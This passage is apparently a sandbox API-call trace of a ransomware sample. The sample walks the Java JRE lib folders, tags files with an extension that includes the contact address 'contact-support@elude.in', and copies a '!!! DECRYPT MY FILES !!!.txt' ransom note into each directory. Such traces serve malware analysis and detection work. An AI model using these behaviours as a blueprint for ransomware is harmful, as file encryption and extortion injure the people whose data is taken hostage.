ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.320] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0118.321] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0118.321] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\classlist", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties", len=0x3f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 1 [0118.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties", cchLength=0x3f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties") returned 0x3f [0118.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.321] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.321] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.321] GetProcessHeap () returned 0x630000 [0118.321] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5e78, Size=0x34) returned 0x6d4e00 [0118.321] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0118.322] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 1 [0118.322] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data") returned 0x34 [0118.322] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.322] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.322] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.322] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.322] GetProcessHeap () returned 0x630000 [0118.322] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4e00, Size=0x38) returned 0x6d5500 [0118.322] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0118.322] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\", len=0x2e | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\") returned 1 [0118.322] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\") returned 0x2e [0118.322] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.323] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4ec0 [0118.416] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.416] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0118.416] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", len=0x39 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 1 [0118.416] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", cchLength=0x39 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 0x39 [0118.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.416] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.416] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0118.417] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0118.417] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8b6bdff, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5400 [0118.417] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0118.417] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0118.421] GetProcessHeap () returned 0x630000 [0118.422] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6070, Size=0x34) returned 0x6d5540 [0118.422] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1 [0118.422] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties", len=0x41 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 1 [0118.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties", cchLength=0x41 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 0x41 [0118.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.422] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.422] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.422] GetProcessHeap () returned 0x630000 [0118.422] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5540, Size=0x38) returned 0x6d5440 [0118.422] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1 [0118.422] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 1 [0118.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties", cchLength=0x44 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 0x44 [0118.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.423] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.423] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.423] GetProcessHeap () returned 0x630000 [0118.423] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5440, Size=0x3c) returned 0x69aeb0 [0118.423] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1 [0118.423] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 1 [0118.423] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties", cchLength=0x44 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 0x44 [0118.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.423] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.423] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.424] GetProcessHeap () returned 0x630000 [0118.424] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69aeb0, Size=0x40) returned 0x69b0f0 [0118.424] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1 [0118.424] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 1 [0118.424] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties", cchLength=0x44 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 0x44 [0118.424] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.424] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.424] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.424] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.424] GetProcessHeap () returned 0x630000 [0118.424] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b0f0, Size=0x44) returned 0x649f58 [0118.424] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1 [0118.425] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 1 [0118.425] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties", cchLength=0x44 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 0x44 [0118.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.425] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.425] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.425] GetProcessHeap () returned 0x630000 [0118.425] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x48) returned 0x64a3b8 [0118.425] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1 [0118.425] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 1 [0118.425] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties", cchLength=0x44 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 0x44 [0118.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.426] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.426] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.426] GetProcessHeap () returned 0x630000 [0118.426] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a3b8, Size=0x4c) returned 0x6ee760 [0118.426] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1 [0118.426] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 1 [0118.426] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties", cchLength=0x44 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 0x44 [0118.426] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.426] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.426] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.426] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.426] GetProcessHeap () returned 0x630000 [0118.426] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ee760, Size=0x50) returned 0x6ee7b8 [0118.427] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1 [0118.427] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties", len=0x47 